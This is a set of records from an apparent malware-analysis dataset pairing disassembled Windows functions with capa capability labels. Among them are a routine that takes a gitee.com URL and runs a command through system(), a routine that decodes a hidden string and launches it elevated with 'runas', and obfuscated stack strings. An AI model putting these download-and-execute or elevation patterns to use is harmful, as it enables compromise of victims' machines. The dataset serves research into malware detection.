joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ad928
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1400e4700]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1400ad972
call fcn.140092b18
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.140092b38
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.14008fca0
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140087540
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1400ad97d
lea eax, [rbx + 1]
jmp 0x1400ad95f
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1400ad95d
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1400ad95f
Function at 0x1400aedc4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140092b58
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400aee4e
cmp byte [rbp - 0x21], r15b
je 0x1400aee49
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400aee84
call fcn.1400a2020
test eax, eax
jne 0x1400aee70
cmp byte [rbp - 0x21], r15b
je 0x1400aee68
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400aee84
cmp byte [rbp - 0x21], r15b
je 0x1400aee81
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14009b3a8
test eax, eax
jne 0x1400aef24
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140092b58
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400aeec3
cmp byte [rbp - 0x21], r15b
je 0x1400aeef8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400aeef8
call fcn.1400a2020
test eax, eax
jne 0x1400aeee4
cmp byte [rbp - 0x21], r15b
je 0x1400aeedd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400aeef8
cmp byte [rbp - 0x21], r15b
je 0x1400aeef5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14009b3a8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400aef24
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400aef27
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400aef35
mov rcx, rdi
call fcn.1400a1d78
cmp byte [rbp + 0x3f], r15b
je 0x1400aef44
mov rcx, qword [rbp + 0x27]
call fcn.1400a1d78
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001f50
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rsp + 0x50], rax
call fcn.140001660
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001ecc0]
lea rcx, [rsp + 0x30]
call fcn.140002130
mov r9, qword [rsp + 0x30]
lea rdx, [rsp + 0x30]
mov r10, qword [rsp + 0x48]
lea rax, [rsp + 0x30]
mov r8, qword [rsp + 0x40]
cmp r10, 0xf
cmova rdx, r9
cmova rax, r9
add r8, rdx
xor r11d, r11d
mov rcx, r8
mov edx, r11d
sub rcx, rax
cmp rax, r8
cmova rcx, r11
test rcx, rcx
je 0x14000202d
cmp rcx, 0x40
jb 0x14000202d
movdqa xmm1, xmmword [str.2222222222222222_]
and rcx, 0xffffffffffffffc0
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
add rdx, 0x40
psubb xmm0, xmm1
movdqu xmmword [rax], xmm0
movdqu xmm0, xmmword [rax + 0x10]
psubb xmm0, xmm1
movdqu xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [rax + 0x20]
psubb xmm0, xmm1
movdqu xmmword [rax + 0x20], xmm0
movdqu xmm0, xmmword [rax + 0x30]
psubb xmm0, xmm1
movdqu xmmword [rax + 0x30], xmm0
add rax, 0x40
cmp rdx, rcx
jne 0x140001fe0
mov r10, qword [rsp + 0x48]
mov r9, qword [rsp + 0x30]
cmp rax, r8
je 0x140002047
add byte [rax], 0xce
inc rax
cmp rax, r8
jne 0x140002032
mov r10, qword [rsp + 0x48]
mov r9, qword [rsp + 0x30]
cmp r10, 0xf
mov dword [rsp + 0x28], r11d
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], r11
cmova r8, r9
lea rdx, str.runas
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400020a9
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020a4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020bd
call fcn.140002814
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140002570
add rsp, 0x68
ret
call fcn.14000810c
int3

Function at 0x1400030c8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003112
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003112
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003112
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003112
cmp dword [rcx + 0x84], 0xe
jbe 0x140003112
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003114
xor al, al
add rsp, 0x28
ret
Function at 0x1400084fc
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000856b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000856b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000856b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000856b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000856b
cmp dword [rcx + 0x84], 0xe
jbe 0x14000856b
cmp dword [rcx + 0xf8], 0
je 0x14000856b
mov ecx, ebx
call fcn.140008610
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140008404
nop
cmp dword [rbp + 0x20], 0
jne 0x1400085cc
call fcn.140009e14
cmp eax, 1
jne 0x1400085bc
xor dl, dl
jmp 0x1400085c6
call fcn.140009de0
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x1400085d7
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400085e0
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400084fc

Function at 0x1400086e4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400084fc
Function at 0x14000bb58
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000bb88
xor eax, eax
jmp 0x14000bc4b
mov rbp, rbx
cmp word [rax], si
je 0x14000bbad
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000bb94
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000bb90
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000ba78
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x14000bbee
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000bb81
call fcn.140009d80
mov rdi, rax
test rax, rax
jne 0x14000bc04
xor ecx, ecx
call fcn.14000a030
jmp 0x14000bbe3
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000ba78
test eax, eax
jne 0x14000bc35
mov rcx, rdi
call fcn.14000a030
jmp 0x14000bc3f
xor ecx, ecx
call fcn.14000a030
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140010570
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140010598
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140010598
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001930
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x140014010]
xor rax, rsp
mov qword [rbp + 0x50], rax
xor ebx, ebx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
lea ecx, [rbx + 0x60]
call fcn.14000c210
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], 0xf
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
lea ecx, [rbx + 0x60]
call fcn.14000c210
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], 0xf
lea ecx, [rbx + 0x30]
call fcn.14000c210
mov rdx, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], 0x2f
mov qword [rsp + 0x70], 0x2f
movups xmm0, xmmword [str.https:__gitee.com_Mouse321_lll_raw_master_s3n5e]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000f588]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14000f598]
movsd qword [rax + 0x20], xmm0
mov ecx, dword [0x14000f5a0]
mov dword [rax + 0x28], ecx
movzx ecx, word [0x14000f5a4]
mov word [rax + 0x2c], cx
movzx eax, byte [0x14000f5a6]
mov byte [rdx + 0x2e], al
mov byte [rdx + 0x2f], bl
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x40]
call fcn.140004a60
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.140001b20
nop
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.140001b20
mov rdx, qword [rbp + 0x40]
mov r8, qword [rdx + 0x28]
mov rdx, qword [rdx + 0x20]
lea rcx, [rbp - 0x68]
call fcn.140009000
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140001adc
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ad7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ad7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c24c
movdqa xmm0, xmmword [0x1400112d0]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
lea rcx, [rbp - 0x40]
call fcn.140002ed0
xor eax, eax
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.14000c1f0
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rbp
ret
Function at 0x14000cdd4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000ce1e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000ce1e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000ce1e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000ce1e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000ce1e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000ce20
xor al, al
add rsp, 0x28
ret
Function at 0x18001a460
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
lea esi, [r8 + 0x70]
mov ebx, r8d
mov rbp, rdx
mov rdi, rcx
cmp r8d, esi
jae 0x18001a4f2
mov rcx, qword [rsp + 0x68]
xor r14d, r14d
nop dword [rax]
mov eax, ebx
sub eax, 0xc
je 0x18001a4e4
sub eax, 0xa7
je 0x18001a4d4
sub eax, 0x1c
je 0x18001a4b1
cmp eax, 0x1c
jne 0x18001a4eb
test rcx, rcx
jne 0x18001a50a
xor al, al
jmp 0x18001a4f7
mov qword [rsp + 0x28], r14
lea r8, [0x18001a520]
mov r9, rdi
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
jmp 0x18001a4eb
mov qword [0x1800cd2f8], rdi
mov qword [rdi + 0x80], rbp
jmp 0x18001a4eb
mov byte [0x1800cd309], r14b
add ebx, 0x1c
cmp ebx, esi
jb 0x18001a490
movzx eax, byte [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
xchg qword [0x1800cd300], rcx
mov al, 1
jmp 0x18001a4f7
Function at 0x180020de0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
lea r14d, [rcx - 5]
mov r15, r9
mov rdi, r8
mov rbp, rdx
mov esi, ecx
cmp ecx, r14d
jbe 0x180020ed3
xor ebx, ebx
mov eax, esi
sub eax, 0x109
je 0x180020eb4
sub eax, 4
je 0x180020e9f
sub eax, 1
je 0x180020e8f
sub eax, 5
je 0x180020e5d
cmp eax, 5
jne 0x180020ec8
mov rax, qword [rbp + 8]
test rax, rax
je 0x180020e56
cmp rax, rdi
jae 0x180020e4a
cmp qword [rax], rdi
jae 0x180020e53
mov rax, qword [rax + 8]
test rax, rax
jne 0x180020e40
test rax, rax
setne bl
mov eax, ebx
jmp 0x180020ed7
mov eax, dword [r15]
lea r8, [rsp + 0x60]
mov dword [rsp + 0x60], eax
lea rdx, [rsp + 0x30]
mov eax, dword [rdi]
lea rcx, [rsp + 0x38]
mov r9d, SHTestTokenMembership
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x20], rbp
call fcn.1800503f0
jmp 0x180020ec8
mov rcx, qword [rdi]
test rcx, rcx
je 0x180020ec8
call qword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x180020ec8
xor r9d, r9d
mov r8d, 0x11b
mov rdx, rdi
xor ecx, ecx
call fcn.1800251e0
jmp 0x180020ec8
movsxd r8, dword [r15]
mov r9, rbp
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
dec esi
cmp esi, r14d
ja 0x180020e12
mov eax, dword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x180044d20
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
sub rsp, 0x860
mov rax, qword [0x1800cd230]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov eax, 0x4d
mov dword [rsp + 0x25], 0x6f426567
mov word [rsp + 0x20], ax
lea r9, [rsp + 0x20]
mov eax, 0x78
mov dword [rsp + 0x21], 0x61737365
mov word [rsp + 0x29], ax
lea rcx, [rsp + 0x30]
mov eax, 0x41
mov dword [rsp + 0x30], 0x730075
mov word [rsp + 0x2a], ax
xor r8d, r8d
mov eax, 0x33
mov dword [rsp + 0x34], 0x720065
mov edx, 0xef
mov word [rsp + 0x38], ax
mov dword [rsp + 0x3a], 0x2e0032
mov dword [rsp + 0x3e], 0x6c0064
mov dword [rsp + 0x42], 0x6c
call fcn.180042280
mov rdx, qword [rsp + 0x870]
lea r8, [rsp + 0x878]
lea rcx, [rsp + 0x50]
mov rbx, rax
call fcn.1800a7280
mov r9d, 0x30
lea r8, str.lAarr_lArr_
lea rdx, [rsp + 0x50]
xor ecx, ecx
call rbx
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x180063a90
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
lea eax, [rcx + 0x2cb]
mov rsi, r9
mov dword [rsp + 0xa0], eax
mov rbx, r8
mov r13d, ecx
cmp ecx, eax
jae 0x180063c77
mov rbp, qword [rsp + 0xc8]
xor ecx, ecx
mov r12, qword [rsp + 0x50]
mov r14, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
nop word [rax + rax]
mov eax, r13d
sub eax, 0x64
je 0x180063c58
sub eax, 0x10
je 0x180063cb4
sub eax, 0x36
je 0x180063c18
sub eax, 0x49
je 0x180063c94
cmp eax, 0x46
jne 0x180063c62
mov rax, qword [rsp + 0x50]
mov r15, rax
test rax, rax
je 0x180063bd8
mov esi, 0x7d
mov eax, esi
sub eax, 0x7d
je 0x180063b85
sub eax, 0x7f
je 0x180063b77
sub eax, 0x7f
je 0x180063b72
sub eax, 0x7f
je 0x180063b5e
cmp eax, 0x7f
jne 0x180063bb5
mov rax, qword [r15 + 0x18]
mov r14, rdi
mov qword [rdi + 0x18], rax
jmp 0x180063bb5
test r14, r14
je 0x180063b68
mov qword [r14], rdi
jmp 0x180063bb5
mov rax, qword [rbp]
mov qword [rax + 0x28], rdi
jmp 0x180063bb5
mov qword [rdi], rcx
jmp 0x180063bb5
mov rax, qword [r15 + 0x10]
mov qword [rdi + 0x10], rax
mov qword [rdi + 8], r14
jmp 0x180063bb5
mov qword [rsp + 0x40], rcx
xor r9d, r9d
mov qword [rsp + 0x38], rcx
xor r8d, r8d
mov dword [rsp + 0x30], 0x9c
xor edx, edx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call fcn.1800505f0
mov rdi, rax
xor ecx, ecx
add esi, 0x7f
cmp esi, 0x2f8
jb 0x180063b36
mov r15, qword [r15]
test r15, r15
jne 0x180063b31
mov rsi, qword [rsp + 0xb8]
mov rax, qword [rbp]
mov qword [rax + 0x30], rdi
mov rax, qword [rbp]
mov qword [rax + 0x10], 2
mov rcx, qword [rbp]
mov rax, qword [rcx + 0x28]
add rax, 0x18
mov qword [rcx + 0x18], rax
mov rdx, qword [rbp]
mov rax, qword [rdx + 0x28]
mov rcx, qword [rax + 0x10]
mov qword [rdx + 8], rcx
xor ecx, ecx
mov rdx, qword [rsp + 0xa8]
jmp 0x180063c62
mov rax, qword [rbp]
cmp qword [rsi], rax
je 0x180063c77
mov r8d, 0xd6
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
xor ecx, ecx
call fcn.1800670b0
mov rax, qword [rsi]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x180063c77
mov rdx, qword [rsp + 0xa8]
xor ecx, ecx
mov r14d, ecx
jmp 0x180063c62
cmp dword [rdx], 1
mov r12, rbx
cmove r12, rsi
add r13d, 0x8f
cmp r13d, dword [rsp + 0xa0]
jb 0x180063af0
mov rax, qword [rsp + 0x50]
mov rbx, qword [rsp + 0xb0]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp r12, rsi
je 0x180063ca3
cmp r12, rbx
je 0x180063ca3
mov rax, r12
jmp 0x180063c7c
cmp dword [rdx], 1
cmove rbx, qword [rsp + 0xc0]
mov rax, rbx
jmp 0x180063c7c
mov ecx, dword [0x1800cc020]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x180081910
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rbx, qword [rsp + 0x48]
lea r15d, [r8 + 0x498]
mov r14, r9
mov ebp, r8d
mov r12, rdx
mov r13, rcx
cmp r8d, r15d
jae 0x180081a7e
xor edi, edi
nop
cmp ebp, 0x129
ja 0x180081a6b
je 0x180081a3c
mov eax, ebp
sub eax, 0x28
je 0x180081ac2
sub eax, 0x1b
je 0x180081a0a
sub eax, 0x53
je 0x18008199e
cmp eax, 0x42
jne 0x180081ab1
cmp dword [r14 + 0x80], 2
jge 0x180081ab1
mov rax, 0xffffffffffffff7d
jmp 0x180081a81
mov rdi, qword [r13]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rsi, rax
call fcn.1800a6ee0
mov r8, qword [rsp + 0xa0]
xor r9d, r9d
mov rdx, rsi
mov qword [rsp + 0x20], rdi
mov rcx, qword [rax]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___stdio_common_vfprintf]
xor edi, edi
mov qword [r13], rdi
inc dword [0x1800ce134]
mov eax, dword [r12]
test eax, eax
je 0x180081ab1
xor r8d, r8d
mov dword [rsp + 0x90], eax
lea rdx, [rsp + 0x90]
mov ecx, ILFree
call fcn.18001e680
jmp 0x180081ab1
mov ecx, 2
mov byte [rsp + 0x90], 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9d, 0x35
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea r8, [rsp + 0x90]
xor edx, edx
call fcn.180009840
jmp 0x180081ab1
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rdx, rax
mov ecx, 0xa
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_putc]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
jmp 0x180081ab1
mov eax, ebp
sub eax, 0x16b
je 0x180081aad
sub eax, 0x51
je 0x180081a9f
cmp eax, 0x42
jne 0x180081ab1
mov rax, rbx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov ecx, dword [r14]
test ecx, ecx
je 0x180081ab1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, qword [r14 + 0x10]
add ebp, 0x93
cmp ebp, r15d
jb 0x180081950
jmp 0x180081a7e
mov rax, qword [rsp + 0xa0]
lea rdx, [rsp + 0x40]
mov r9d, 0x11f
xor r8d, r8d
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsp + 0x90], eax
mov rax, qword [r12]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
call fcn.180073290
mov dword [rsp + 0x90], eax
lea r9, [rsp + 0x90]
mov rax, qword [r12]
xor edx, edx
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov rax, qword [r14]
mov r8d, 0xb4
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call fcn.180020ef0
jmp 0x180081a81
Function at 0x1800940f0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
movzx ebx, byte [rsp + 0x50]
lea esi, [rcx - 4]
mov rbp, rdx
mov edi, ecx
cmp ecx, esi
jbe 0x18009419c
xor r14d, r14d
nop word [rax + rax]
mov eax, edi
sub eax, 0xf6
je 0x1800941b2
sub eax, 2
je 0x18009419c
sub eax, 1
je 0x180094178
cmp eax, 1
jne 0x180094196
mov rax, qword [0x1800cea50]
cmp qword [0x1800cea48], rax
jne 0x180094163
xor r9d, r9d
lea rcx, [0x1800cea48]
xor edx, edx
mov r8d, 0xdb
call fcn.180027190
lea r9, [rbp + 0x60]
xor r8d, r8d
xor edx, edx
mov ecx, reloc.SHELL32.dll_SHSetFolderPathW
call fcn.18007d9a0
jmp 0x180094196
lea r8, [rbp + 0x60]
mov qword [rsp + 0x20], r14
lea r9, [0x1800cea48]
xor edx, edx
mov ecx, 0xf7
call fcn.1800854b0
mov ebx, eax
dec edi
cmp edi, esi
ja 0x180094120
mov rbp, qword [rsp + 0x60]
movzx eax, bl
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.You_must_first_publish_a_major_version_before_editing_this_document.
call fcn.1800a6fd0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3